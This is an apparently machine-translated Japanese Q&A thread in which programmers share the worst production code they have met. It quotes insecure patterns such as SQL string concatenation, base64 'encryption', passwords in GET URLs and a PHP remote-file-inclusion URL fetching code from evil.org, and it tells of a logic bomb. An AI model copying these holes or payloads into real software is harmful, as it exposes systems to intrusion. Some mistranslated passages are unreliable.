会社の本番環境で見た中で最も悪かったり危険なコードの断片は何ですか?故意に悪意があり悪であると考えられる製品コードに出会ったことはないので、他の人が見つけたものを見るのは非常に興味があります。
私が今まで見た中で最も危険なコードは、コア運用データベースサーバーから2つのリンクサーバーが離れたストアドプロシージャでした。ストアドプロシージャは、NVARCHAR(8000)パラメーターを受け入れ、ダブルジャンプsp_executeSQLコマンドを介してターゲットの運用サーバーでパラメーターを実行しました。つまり、sp_executeSQLコマンドは、2つのリンクサーバーをジャンプするために別のsp_executeSQLコマンドを実行しました。ああ、リンクサーバーアカウントには、ターゲットの運用サーバーに対するsysadmin権限がありました。
警告:先の長い怖い投稿
here および here の前に取り組んだ1つのアプリケーションについて書きました。簡単に言うと、私の会社はインドから130,000行のゴミを引き継ぎました。アプリケーションはC#で作成されました。これは窓口アプリであり、銀行に行くたびにカウンターの後ろで同じ種類のソフトウェア窓口が使用します。このアプリは1日に40〜50回クラッシュし、動作するコードにリファクタリングできませんでした。私の会社は、12か月の間にアプリ全体を書き直さなければなりませんでした。
このアプリケーションはなぜ悪いのですか?なぜなら、ソースコードの視力は、正気の男を狂気に陥れ、狂気の男を正気にさせるのに十分だったからです。このアプリケーションを作成するために使用されたねじれたロジックは、ラブクラフトの悪夢にのみ触発された可能性があります。このアプリケーションのユニークな機能は次のとおりです。
130,000行のコードのうち、アプリケーション全体に5つのクラス(フォームファイルを除く)が含まれていました。これらはすべてパブリックな静的クラスでした。 1つのクラスはGlobals.csと呼ばれ、アプリケーションの状態全体を保持するために使用される1000および1000と1000のパブリック静的変数が含まれていました。これらの5つのクラスには合計20,000行のコードが含まれており、残りのコードはフォームに埋め込まれています。
プログラマは、クラスなしでこのような大きなアプリケーションをどのように作成したのでしょうか。データオブジェクトを表すために何を使用しましたか?プログラマーは、ArrayLists、HashTables、およびDataTablesを組み合わせることで、OOPについて学んだ概念の半分を再発明することができました。
上記のデータ構造は厳密に型指定されていないため、リストから取得したミステリーオブジェクトを正しい型にキャストする必要があります。 ArrayLists、HashTables、DataTablesだけを使用して、どのような複雑なRube Goldbergのようなデータ構造を作成できるかは驚くべきことです。
上記のオブジェクトモデルの使用方法の例を共有するには、アカウントを検討してください。元のプログラマーは、アカウントの各プロパティに対してhashAcctExists、hstAcctNeedsOverride、hstAcctFirstNameというHashTableを作成しました。これらすべてのハッシュテーブルのキーは、「|」で区切られた文字列でした。考えられるキーには、「123456 | DDA」、「24100 | SVG」、「100 | LNS」などが含まれます。
アプリケーション全体の状態はグローバル変数から簡単にアクセスできるため、プログラマーはメソッドにパラメーターを渡す必要がないと判断しました。メソッドの90%が0個のパラメーターを使用したと思います。文字列が何を表しているかに関係なく、すべてのパラメーターは便宜上、文字列として渡されました。
副作用のない関数は存在しませんでした。すべてのメソッドは、Globalsクラスの1つ以上の変数を変更しました。すべての副作用が意味をなすわけではありません。たとえば、フォームの検証方法の1つには、Globals.lngAcctNumに保存されたアカウントのローンの超過および短期の支払いを計算するという不思議な副作用がありました。
多くのフォームがありましたが、それらをすべて支配する1つのフォームがありました:frmMain.csには、なんと20,000行のコードが含まれていました。 frmMainは何をしましたか?すべて。口座の検索、領収書の印刷、現金の払い出し、すべてを行いました。
FrmMainのメソッドを呼び出すために他のフォームが必要になる場合があります。そのコードをフォームから別のクラスに分解するのではなく、コードを直接呼び出すだけではどうですか?
((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
アカウントを検索するために、プログラマーは次のようなことをしました。
bool blnAccountExists =
new frmAccounts().GetAccountInfo().blnAccountExists
すでに目に見えないフォームを作成してビジネスロジックを実行しているのは残念ですが、どのアカウントを検索するのかをフォームがどのように知っていると思いますか?それは簡単です。フォームはGlobals.lngAcctNumとGlobals.strAcctTypeにアクセスできます。 (ハンガリーの記法が嫌いな人は?)
コードの再利用はctrl-c、ctrl-vの同義語でした。 200行のメソッドが20個のフォームにコピー/貼り付けされているのを見つけました。
アプリケーションには奇妙なスレッドモデルがあり、スレッドアンドタイマーモデルと呼んでみたいものです。スレッドを生成した各フォームにはタイマーがありました。生成された各スレッドは、200ミリ秒の遅延を持つタイマーを開始しました。タイマーが開始すると、スレッドが魔法のブール値を設定したかどうかを確認し、スレッドを中止します。結果のThreadAbortExceptionが飲み込まれました。
このパターンは一度しか表示されないと思いますが、少なくとも10か所で見つけました。
スレッドといえば、キーワード「ロック」はアプリケーションに現れませんでした。スレッドは、ロックを取得せずにグローバル状態を自由に操作しました。
アプリケーションのすべてのメソッドには、try/catchブロックが含まれていました。すべての例外が記録され、飲み込まれました。
文字列を切り替えるときに列挙型を切り替える必要があるのは簡単です!
一部の天才は、複数のフォームコントロールを同じイベントハンドラーにフックできることを理解しました。プログラマはこれをどのように処理しましたか?
private void OperationButton_Click(object sender, EventArgs e)
{
Button btn = (Button)sender;
if (blnModeIsAddMc)
{
AddMcOperationKeyPress(btn);
}
else
{
string strToBeAppendedLater = string.Empty;
if (btn.Name != "btnBS")
{
UpdateText();
}
if (txtEdit.Text.Trim() != "Error")
{
SaveFormState();
}
switch (btn.Name)
{
case "btnC":
ResetValues();
break;
case "btnCE":
txtEdit.Text = "0";
break;
case "btnBS":
if (!blnStartedNew)
{
string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
DisplayValue((EditText == string.Empty) ? "0" : EditText);
}
break;
case "btnPercent":
blnAfterOp = true;
if (GetValueDecimal(txtEdit.Text, out decCurrValue))
{
AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
decCurrValue = decResultValue * decCurrValue / intFormatFactor;
DisplayValue(GetValueString(decCurrValue));
AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
+ strOpPressed.PadRight(3);
if (arrLstTapeHist.Count == 0)
{
arrLstTapeHist.Add(strToBeAppendedLater);
}
blnEqualOccurred = false;
blnStartedNew = true;
}
break;
case "btnAdd":
case "btnSubtract":
case "btnMultiply":
case "btnDivide":
blnAfterOp = true;
if (txtEdit.Text.Trim() == "Error")
{
btnC.PerformClick();
return;
}
if (blnNumPressed || blnEqualOccurred)
{
if (GetValueDecimal(txtEdit.Text, out decCurrValue))
{
if (Operation())
{
AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
DisplayValue(GetValueString(decResultValue));
}
else
{
AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
DisplayValue("Error");
}
strOpPressed = btn.Text;
blnEqualOccurred = false;
blnNumPressed = false;
}
}
else
{
strOpPressed = btn.Text;
AddToTape(GetValueString(0), (string)btn.Text, false, false);
}
if (txtEdit.Text.Trim() == "Error")
{
AddToTape("Error", string.Empty, true, true);
btnC.PerformClick();
txtEdit.Text = "Error";
}
break;
case "btnEqual":
blnAfterOp = false;
if (strOpPressed != string.Empty || strPrevOp != string.Empty)
{
if (GetValueDecimal(txtEdit.Text, out decCurrValue))
{
if (OperationEqual())
{
DisplayValue(GetValueString(decResultValue));
}
else
{
DisplayValue("Error");
}
if (!blnEqualOccurred)
{
strPrevOp = strOpPressed;
decHistValue = decCurrValue;
blnNumPressed = false;
blnEqualOccurred = true;
}
strOpPressed = string.Empty;
}
}
break;
case "btnSign":
GetValueDecimal(txtEdit.Text, out decCurrValue);
DisplayValue(GetValueString(-1 * decCurrValue));
break;
}
}
}
同じ天才は、輝かしい三項演算子も発見しました。コードサンプルを次に示します。
frmTranHist.cs [line 812]:
strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
: chkDebits.Checked ? "D"
: chkCredits.Checked ? "C"
: "N";
frmTellTransHist.cs [line 961]:
if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
frmMain.TellCash.cs [line 727]:
if (Validations(parPostMode == "ADD" ? true : false))
以下は、StringBuilderの典型的な誤用を示すコードスニペットです。プログラマがループ内で文字列を連結し、結果の文字列をStringBuilderに追加する方法に注意してください。
private string CreateGridString()
{
string strTemp = string.Empty;
StringBuilder strBuild = new StringBuilder();
foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
{
strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
strTemp += " ";
strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
strTemp += " ";
strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
strTemp += " ";
strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
strTemp += " ";
strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
strTemp += " ";
strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
strBuild.AppendLine(strTemp);
}
strCreateGridString = strBuild.ToString();
return strCreateGridString;//strBuild.ToString();
}
主キー、インデックス、または外部キー制約がテーブルに存在せず、ほとんどすべてのフィールドがvarchar(50)型であり、フィールドの100%がNULL可能です。興味深いことに、ビットフィールドはブールデータの格納には使用されませんでした。代わりにchar(1)フィールドが使用され、文字「Y」と「N」はそれぞれtrueとfalseを表していました。
データベースについて言えば、ストアドプロシージャの代表的な例を次に示します。
ALTER PROCEDURE [dbo].[Get_TransHist]
(
@TellerID int = null,
@CashDrawer int = null,
@AcctNum bigint = null,
@StartDate datetime = null,
@EndDate datetime = null,
@StartTranAmt decimal(18,2) = null,
@EndTranAmt decimal(18,2) = null,
@TranCode int = null,
@TranType int = null
)
AS
declare @WhereCond Varchar(1000)
declare @strQuery Varchar(2000)
Set @WhereCond = ' '
Set @strQuery = ' '
If not @TellerID is null
Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
If not @CashDrawer is null
Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
If not @AcctNum is null
Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
If not @StartDate is null
Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
If not @EndDate is null
Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
If not @TranCode is null
Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
If not @EndTranAmt is null
Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
If not @StartTranAmt is null
Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt as varchar)
If not (@TranType is null or @TranType = -1)
Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
--Get the Teller Transaction Records according to the filters
Set @strQuery = 'SELECT
TT.TranAmt as [Transaction Amount],
TT.TranCode as [Transaction Code],
RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
TT.AcctNbr as [Account Number],
TT.TranID as [Transaction Number],
Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
Convert(varchar,TT.EffDate,101) as [Effective Date],
Convert(varchar,TT.PostDate,101) as [Post Date],
Convert(varchar,TT.ActivityDateTime,108) as [Time],
TT.BatchID,
TT.ItemID,
isnull(TT.DocumentID, 0) as DocumentID,
TT.TellerName,
TT.CDId,
TT.ChkNbr,
RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
(CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
DispensedYN
FROM TellerTrans TT WITH (NOLOCK)
LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'
Exec (@strQuery)
とはいえ、この130,000ラインアプリケーションの最大の問題は、ユニットテストなしです。
はい、このストーリーをTheDailyWTFに送信し、仕事を辞めました。
このようなパスワード暗号化機能を見たことがあります
function EncryptPassword($password)
{
return base64_encode($password);
}
クレジットカードで支払いを行うシステムでは、名前、有効期限などとともにクレジットカード番号全体を保存していました。
これは違法であることが判明しました。これは、当時司法省向けのプログラムを作成していたことを考えると皮肉なことです。
これは商用コードのエラー処理ルーチンでした:
/* FIXME! */
while (TRUE)
;
「アプリがロックし続ける」理由を見つけることになっていた。
次のPhp「機能」のすべてを一度に組み合わせます。
本当に恐ろしい配列/変数名(リテラルの例):
_foreach( $variablesarry as $variablearry ){
include( $$variablearry );
}
_
(私は文字通り、それがどのように機能するかを理解しようとして1時間を費やしましたwern't同じ変数)
50個のファイルを含めます。各ファイルには50個のファイルが含まれており、50個すべてのファイルに対して、条件付きで予測不可能な方法でスタッフが線形/手順で実行されます。
変数変数を知らない人のために:
_$x = "hello";
$$x = "world";
print $hello # "world" ;
_
ここで、$ xにURLの値が含まれていると考えてください(グローバルマジックを登録します)。そのため、URLによってすべてが決定されるため、コードのどこにどの変数を使用するのかが明らかではありません。
次に、その変数のコンテンツがWebサイトのユーザーによって指定されたURLになり得る場合に何が起こるかを考えます。はい、これは意味をなさないかもしれませんが、そのURLという名前の変数を作成します。
_$http://google.com
_、
直接アクセスできない場合を除き、上記のdouble $テクニックを使用して使用する必要があります。
さらに、ユーザーがどのファイルを含めるかを示す変数をURLで指定できる場合、次のような厄介なトリックがあります。
_http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php
_
そして、その変数がinclude($include)
で見つかった場合
「evilcode.php」はそのコードをプレーンテキストで出力し、Phpは不適切に保護されます。phpはただちに移動し、evilcode.phpをダウンロードし、Webサーバーのユーザーとして実行します。
ウェブサーバーはすべての許可などを与え、シェル呼び出しを許可し、任意のバイナリをダウンロードして実行するなど、最終的にはディスクスペースが不足しているボックスがあり、1つのディレクトリには8GBの海賊版映画がありますイタリアの吹き替え、IRCでボット経由で共有されています。
私は、攻撃を実行するスクリプトが多かれ少なかれセキュリティで保護されていないデータベースから非常に機密情報を収集するような本当に危険なことをする前に残虐行為を発見したことを発見しただけです。
(私はそのコードベースで毎日6ヶ月間dailywtfを楽しませることができました、私はあなたをからかいます。そのコードをエスケープした後にdailywtfを発見したのは残念です)
メインプロジェクトのヘッダーファイルで、Cでコンパイラーを不可解に書いていた、古くからのCOBOLプログラマーから。
int i, j, k;
「ループ変数の宣言を忘れても、コンパイラエラーは発生しません。」
Windowsインストーラー。
この記事 保守不能なコードの書き方 は、人間に知られている最も素晴らしい技術のいくつかをカバーしています。私の好きなものは次のとおりです。
赤ちゃんの名前の新しい使用法
赤ちゃんの命名本のコピーを購入すると、変数名に困ることはありません。フレッドは素晴らしい名前で、入力しやすいです。入力しやすい変数名を探している場合は、DSKキーボードで入力する場合はadsfまたはaoeuを試してください。
クリエイティブスペルミス
わかりやすい変数名と関数名を使用する必要がある場合は、スペルを間違えてください。一部の関数名と変数名のスペルを間違え、他の関数名(SetPintleOpening SetPintalClosingなど)で正しくスペルすることにより、grepまたはIDE検索手法の使用を事実上無効にします。驚くほどうまく機能します。異なる劇場/劇場のトーリーまたはトーラスをつづって味付けします。
抽象的であること
関数と変数の命名では、そのような抽象的な単語、すべて、データ、ハンドル、スタッフ、do、ルーチン、パフォーマンス、数字などを多用します。 routineX48、PerformDataFunction、DoIt、HandleStuffおよびdo_args_method。
CapiTaliSaTion
単語の途中で音節の最初の文字をランダムに大文字にします。たとえば、ComputeRasterHistoGram()。
小文字lは数字1のように多く見えます
小文字のlを使用して、長い定数を示します。例えば10lは、10Lが101と間違われる可能性が高くなります。 uvw wW gq9 2z 5s il17 |!j oO08 `'";、。m nn rn {[()]}を明確に明確にするフォントを禁止します。
変数のリサイクル
スコープルールが許可する場合は、既存の無関係な変数名を再利用します。同様に、2つの無関係な目的(スタックスロットの保存を目的とする)に同じ一時変数を使用します。悪魔のような変種の場合は、変数をモーフィングします。たとえば、非常に長いメソッドの先頭で変数に値を割り当て、次に中間のどこかで、変数の意味を微妙な方法で変更します。 0ベースの座標から1ベースの座標。この意味の変化を文書化しないようにしてください。
Cd wrttn wtht vwls s mch trsr
変数またはメソッド名の中で略語を使用するときは、同じWordのいくつかの変形で退屈を破り、たまにそれを長文で綴ることもできます。これは、テキスト検索を使用してプログラムの特定の側面のみを理解する怠け者を倒すのに役立ちます。バリアントのスペルを、策略のバリアントと考えてください。インターナショナルな色とアメリカの色、そして口語的なkulerzを混ぜます。名前を完全に綴る場合、各名前を綴る方法は1つしかありません。これらは、保守プログラマーにとって覚えにくいほど簡単です。略語を使用してWordを短縮する方法は非常に多くあるため、同じ目的を持つ複数の変数を使用できます。追加のボーナスとして、メンテナンスプログラマは、それらが別個の変数であることに気付かないかもしれません。
不明瞭なフィルム参照
青の代わりにLancelotsFavouriteColourのような定数名を使用し、それに$ 0204FBの16進値を割り当てます。色は画面上では純粋な青と同じに見えます。メンテナンスプログラマーは、0204FB(または何らかのグラフィックツール)を使用して、その外観を把握する必要があります。 Monty PythonとHoly Grailに精通している人だけが、Lancelotのお気に入りの色が青であることを知っているでしょう。メンテナンスプログラマがMonty Python映画メモリから、彼または彼女はプログラマであるビジネスを持っていません。
明白なことを文書化する
/ *などのコメントを付けてコードをPepperします。ただし、iに1を追加します。
How Not Why
プログラムが実行しようとしていることではなく、プログラムの動作の詳細のみを文書化します。こうすることで、バグがある場合、修正プログラムはコードが何をすべきかを判断できなくなります。
副作用
Cでは、関数はべき等であると想定されています(副作用なし)。ヒントが十分であることを願っています。
オクタルを使用
次のように、8進リテラルを10進数のリストに密輸します。
array = new int []
{
111,
120,
013,
121,
};
拡張ASCII
拡張されたASCII文字は、ß、ñ、ñ文字を含む変数名として完全に有効です。単純なテキストエディタでコピー/貼り付けせずに入力することはほとんど不可能です。
他の言語からの名前
変数名のソースとして外国語辞書を使用します。たとえば、ポイントにドイツのパンクを使用します。メンテナンスコーダーは、ドイツ語をしっかりと把握していなくても、意味を解読する多文化体験を楽しむことができます。
数学からの名前
数学演算子としてマスカレードする変数名を選択します、例:
openParen = (slash + asterix) / equals;
コメントおよびその逆としてマスカレードするコード
コメントアウトされているが、一見そうではないように見えるコードのセクションを含める。
for(j=0; j<array_len; j+ =8)
{
total += array[j+0 ];
total += array[j+1 ];
total += array[j+2 ]; /* Main body of
total += array[j+3]; * loop is unrolled
total += array[j+4]; * for greater speed.
total += array[j+5]; */
total += array[j+6 ];
total += array[j+7 ];
}
色分けがなければ、3行のコードがコメント化されていることに気付くでしょうか?
キーワードになりすます任意の名前
文書化するときに、ファイル名を表す任意の名前が必要な場合は、「file」を使用します。 「Charlie.dat」や「Frodo.txt」のような明らかに任意の名前を使用しないでください。一般に、あなたの例では、可能な限り予約キーワードに似た任意の名前を使用します。たとえば、パラメータまたは変数の適切な名前は、「bank」、「blank」、「class」、「const」、「constant」、「input」、「key」、「keyword」、「kind」、「output」です。 、「パラメータ」、「parm」、「system」、「type」、「value」、「var」、「variable」。任意の名前に実際の予約語を使用すると、コマンドプロセッサまたはコンパイラによって拒否されるため、はるかに優れています。あなたがこれをうまくやれば、ユーザーはあなたの例の予約キーワードと任意の名前の間で絶望的に混同されますが、あなたは無邪気に見えるかもしれません。
コード名はスクリーン名と一致してはならない
そのような変数が画面に表示されるときに使用されるラベルとはまったく関係がないように、変数名を選択します。例えば。画面では「郵便番号」フィールドにラベルを付けますが、コードでは関連する変数「Zip」を呼び出します。
ベストオーバーロードオペレーターの選択
C++では、+、-、*、/をオーバーロードして、加算、減算などとまったく関係のないことを行います。結局、Stroustroupがシフト演算子を使用してI/Oを実行できる場合、なぜ同じように創造的でないのですか+をオーバーロードする場合は、i = i + 5になるようにしてください。 i + = 5とはまったく異なる意味を持ちます。オーバーロードオペレーターの難読化を高度な技術に引き上げる例を次に示します。 「!」をオーバーロードするクラスの演算子ですが、オーバーロードが反転または否定とは関係ありません。整数を返します。次に、論理値を取得するには、「!」を使用する必要があります! '。ただし、これによりロジックが反転するため、[ドラムロール] '!を使用する必要があります。 ! ! '。混同しないでください! 〜ビットごとの論理否定演算子でブール値0または1を返す演算子。
例外
あまり知られていないコーディングの秘密を紹介します。例外は背後の苦痛です。適切に記述されたコードが失敗することはないため、例外は実際には不要です。時間を無駄にしないでください。サブクラス化の例外は、コードが失敗することを知っている無能な人向けです。 System.exit()を呼び出すアプリケーション全体(メイン)でtry/catchを1つだけにすることで、プログラムを大幅に簡素化できます。実際に例外をスローできるかどうかにかかわらず、すべてのメソッドヘッダーに完全に標準的なスローセットを付けるだけです。
マジックマトリックスの場所
特定のマトリックス位置でフラグとして特別な値を使用します。適切な選択は、同次座標系で使用される変換行列の[3] [0]要素です。
マジックアレイスロットの再検討
特定のタイプの複数の変数が必要な場合は、それらの配列を定義し、番号でアクセスします。自分だけが知っている番号付け規則を選び、文書化しないでください。また、インデックスに#define定数を定義する必要はありません。誰もが、グローバル変数widget [15]がキャンセルボタンであることを知っている必要があります。これは、アセンブラーコードで絶対数値アドレスを使用する最新のバリアントです。
決して美しくしない
コードの整合性を保つために、自動化されたソースコード調整(美化)を使用しないでください。 PVCS/CVS(バージョン管理追跡)で誤ったデルタを作成すること、またはすべてのプログラマーが自分のインデントスタイルを自分の書いたモジュールに対して永遠に保持する必要があることを理由に、会社からそれらを禁止するように働きかけます。他のプログラマーは「彼の」モジュールでそれらの特異な慣習を遵守することを主張します。手動調整を行う何百万ものキーストロークを節約し、不適切に調整されたコードを誤って解釈する日を無駄にしたとしても、美化の禁止は非常に簡単です。誰もが共通のリポジトリに保存するためだけでなく、編集中も同じ整頓された形式を使用することを主張してください。これはRWARを開始し、ボスは、平和を維持するために、自動整頓を禁止します。自動整頓をせずに、誤ってコードを誤って配置して、ループの本体とifが実際よりも長いか短い、またはelse節が実際のifと異なるifに一致するという錯覚を与えることができます。例えば.
if(a)
if(b) x=y;
else x=z;
テストはco病者向けです
勇敢なコーダーはそのステップをバイパスします。あまりにも多くのプログラマーが上司を恐れ、仕事を失うことを恐れ、顧客がメールを嫌うことを恐れ、訴えられることを恐れています。この恐怖は行動を麻痺させ、生産性を低下させます。調査によると、テスト段階を排除することは、管理者が事前に出荷日を設定できることを意味し、計画プロセスの明らかな助けとなります。恐怖がなくなると、革新と実験が花開くことができます。プログラマーの役割はコードを生成することであり、デバッグはヘルプデスク側とレガシーメンテナンスグループ側の協力的な努力によって行うことができます。
コーディング能力に完全に自信があれば、テストは不要です。これを論理的に見ると、テストは技術的な問題を解決しようとさえしないことをバカに認識させることができます。むしろ、これは感情的な自信の問題です。この自信不足の問題に対するより効率的なソリューションは、テストを完全に排除し、プログラマを自尊心のあるコースに送ることです。結局のところ、テストを行うことを選択した場合、プログラムの変更をすべてテストする必要がありますが、自尊心の構築に関する1つのコースにプログラマを派遣するだけで済みます。費用対効果は明らかなほど驚くべきものです。
通常の真偽の慣習を逆転させる
Trueとfalseの通常の定義を逆にします。非常に明白に聞こえますが、うまく機能します。非表示にできます:
#define TRUE 0
#define FALSE 1
コードのどこか深いところにあるので、誰も見なくなったファイルのプログラムの腸からdrされる。次に、プログラムに次のような比較を強制します。
if ( var == TRUE )
if ( var != FALSE )
誰かが明らかな冗長性を「修正」し、通常の方法で他の場所でvarを使用する必要があります。
if ( var )
もう1つの手法は、TRUEとFALSEに同じ値を持たせることですが、ほとんどの人はそれを不正行為と見なします。値1と2、または-1と0を使用することは、人をつまずかせ、それでも立派に見えるより微妙な方法です。 TRUEと呼ばれる静的定数を定義することにより、この同じ手法をJavaで使用できます。Javaには組み込みのリテラルtrueがあるので、プログラマーはあなたが役に立たない可能性があります。
統合失調症を悪用する
Javaは配列宣言について統合失調症です。それらは、古いCの方法String x []で(プリフィックスとポストフィックスの混合表記を使用)、または新しい方法String [] xで純粋なプレフィックス表記を使用できます。人を本当に混乱させたい場合は、記法を混ぜてください。
byte[ ] rowvector, colvector , matrix[ ];
次と同等です:
byte[ ] rowvector;
byte[ ] colvector;
byte[ ][] matrix;
コードを「悪」と呼ぶかどうかはわかりませんが、Object[]
クラスを記述する代わりに配列。どこにでも。
私は火曜日にアプリケーションの大部分で管理者権限を誰にでも与えるコードを見てきました(そしてthedailywtfに投稿しました)。元の開発者は、ローカルマシンのテスト後にコードを削除するのを忘れていたようです。
これが見当違いなほど「悪」であるかどうかはわかりません(最近、The Old New Thingに投稿しました)。
区切られた文字列として情報を保存するのが大好きな人を知っていました。彼は、区切られた文字列の配列を使用したときに示されるように、配列の概念に精通していましたが、電球は点灯しませんでした。
文字列にintを格納するBase 36エンコーディング。
理論は次のような線に沿っていると思います。
現時点では、イベントが発生する曜日を7ビットのビットフィールド(0-127)として保存し、データベースに「0」から2文字の文字列として保存するデータベースを使用しています「3J」に。
ポストリクエストを受け取り、パラメーターとして渡されたユーザー名とパスワードでGETにリダイレクトされたログインハンドラーを見たことを覚えています。これは「エンタープライズクラス」の医療システム用でした。
いくつかのログを確認しているときにこれに気付きました-私はCEOに彼のパスワードを送りたいと思いました。
悪ではないかもしれませんが、確かに、ええと...見当違いです。
私はかつて、単一の5,000行if ... thenステートメントとして実装された「自然言語パーサー」を書き直す必要がありました。
のように...
if (text == "hello" || text == "hi")
response = "hello";
else if (text == "goodbye")
response = "bye";
else
...
本当に邪悪なのは、この素晴らしいデルファイコードです。
type
TMyClass = class
private
FField : Integer;
public
procedure DoSomething;
end;
var
myclass : TMyClass;
procedure TMyClass.DoSomething;
begin
myclass.FField := xxx; //
end;
クラスのインスタンスが1つしかない場合は、うまく機能しました。しかし、残念ながら、他のインスタンスを使用する必要があり、多くの興味深いバグが作成されました。
この宝石を見つけたとき、私は気絶したのか悲鳴を上げたのか、おそらくその両方かを思い出せません。
ASP.NET MVCサイトで、javascriptメソッドを呼び出した<a>
タグにクライアント側のクリックイベントをスタックするWebフォームのみを実行したことのある(そして有名なコピー/ペーストです!)男のコードを見ましたそれはdocument.locationをしました。
<a>
タグのhref
でも同じことができると説明しようとしました!!!
少し悪...私が知っている誰かが、メインの社内Webアプリに、過去10日間にシステムにログインしたかどうかを確認するための毎日のチェックを書きました。ログインしている彼の記録がない場合、会社の全員のアプリを無効にします。
彼は一時解雇の噂を聞いてからこの作品を書きました。もし彼が辞めていたら、会社は苦しむことになります。
私がそれを知っていた唯一の理由は、彼が2週間の休暇を取って、サイトが荒れたときに彼に電話したことです。彼は私に彼のユーザー名/パスワードでログオンするように言った...そしてすべてが再び大丈夫だった。
もちろん..数ヶ月後に私たちは全員解雇されました。
私の同僚は、すべてのデータベース作業にpublic static
データベース接続を使用したASP.NETアプリケーションを思い出すのが好きです。
はい、すべてのリクエストに対して1つの接続。いいえ、ロックも行われませんでした。
Perl CGIスクリプトを実行するためにIIS 3をセットアップしなければならなかったことを覚えています(はい、それはかなり以前のことでした)。動作しましたが、かなり強力なスクリプトエンジンへのeveryoneアクセスも提供しました!
ASPアプリケーションのjavascriptでのSQLクエリ。
グローバル状態のすべてをxmlファイルにロードするアプリケーションがありました。開発者が新しい形式の再帰を作成したことを除けば、問題ありません。
<settings>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
次に楽しい部分があります。アプリケーションがロードされると、プロパティのリストを実行し、それらをミステリーカウンターをインクリメントしながらグローバル(フラット)リストに追加します。ミステリーカウンターは、まったく関係のない名前が付けられ、ミステリー計算で使用されます。
List properties = new List();
Node<-root
while node.hasNode("property")
add to properties list
my_global_variable++;
if hasNode("property")
node=getNode("property"), ... etc etc
そして、次のような関数を取得します
calculateSumOfCombinations(int x, int y){
return x+y+my_global_variable;
}
編集:明確化-レベル6または7でプロパティの意味が変わったため、彼は再帰の深さをカウントしていることを理解するのに長い時間かかった、STATE、STATE、STATE、CITY、CITY、CITYのリストを持ち、インデックスがカウンターかどうかをチェックして、名前が市または州であるかどうかを確認するようなものです)
「アーキテクト」の1つを常に実行する必要があるサーバープロセスのWindowsサービスを記述する代わりに、コンソールアプリを作成し、タスクスケジューラを使用して60秒ごとに実行しました。
これは、サービスの作成が非常に簡単な.NETで行われることに注意してください。
-
また、同じ場所でコンソールアプリを使用して.NETリモーティングサービスをホストしたため、サーバーを再起動するたびにコンソールアプリを起動し、セッションをロックして実行を継続する必要がありました。
-
私が働いた最後の場所では、建築家の一人がsingle C#ソースコードファイルを持っていて、そのサイズは250Kのような100以上のクラスでした。
以前の職場では、以前に部分的にアウトソーシングされていたレガシープロジェクトを継承しました。メインアプリはJavaで、外部委託部分はネイティブCライブラリでした。 Cソースファイルを見たことがあります。ディレクトリの内容をリストしました。サイズが200Kを超えるソースファイルがいくつかありました。最大のCファイルは600 Kbytesでした。
私は実際にそれらに触れる必要がなかった神に感謝します:-)
それぞれ10K行を超えるコードを含む32個のソースコードファイル。それぞれに1つのクラスが含まれていました。各クラスには、「すべて」を行う1つのメソッドが含まれていました
それをリファクタリングする前にコードをデバッグするのは本当に悪夢でした。
私は、同僚が顧客に海外にいる間に前進するための一連のプログラムを与えられました(そのプログラムをインストールします)。すべてのプログラムに1つのキーライブラリが登場し、コードを把握しようとすると、プログラムごとにわずかな違いがあることに気付きました。共通ライブラリ内。
これを実現し、すべてのコピーのテキスト比較を実行しました。 16のうち、私は約9つのユニークなものがあったと思います。私は少し合った。
上司が介入し、一見普遍的なバージョンを同僚に照合させました。彼らはコードを電子メールで送信しました。私にはわからないが、そこには印刷できない文字を含む文字列があり、いくつかのエンコードが混在していた。電子メールはそれをかなり悪くした。
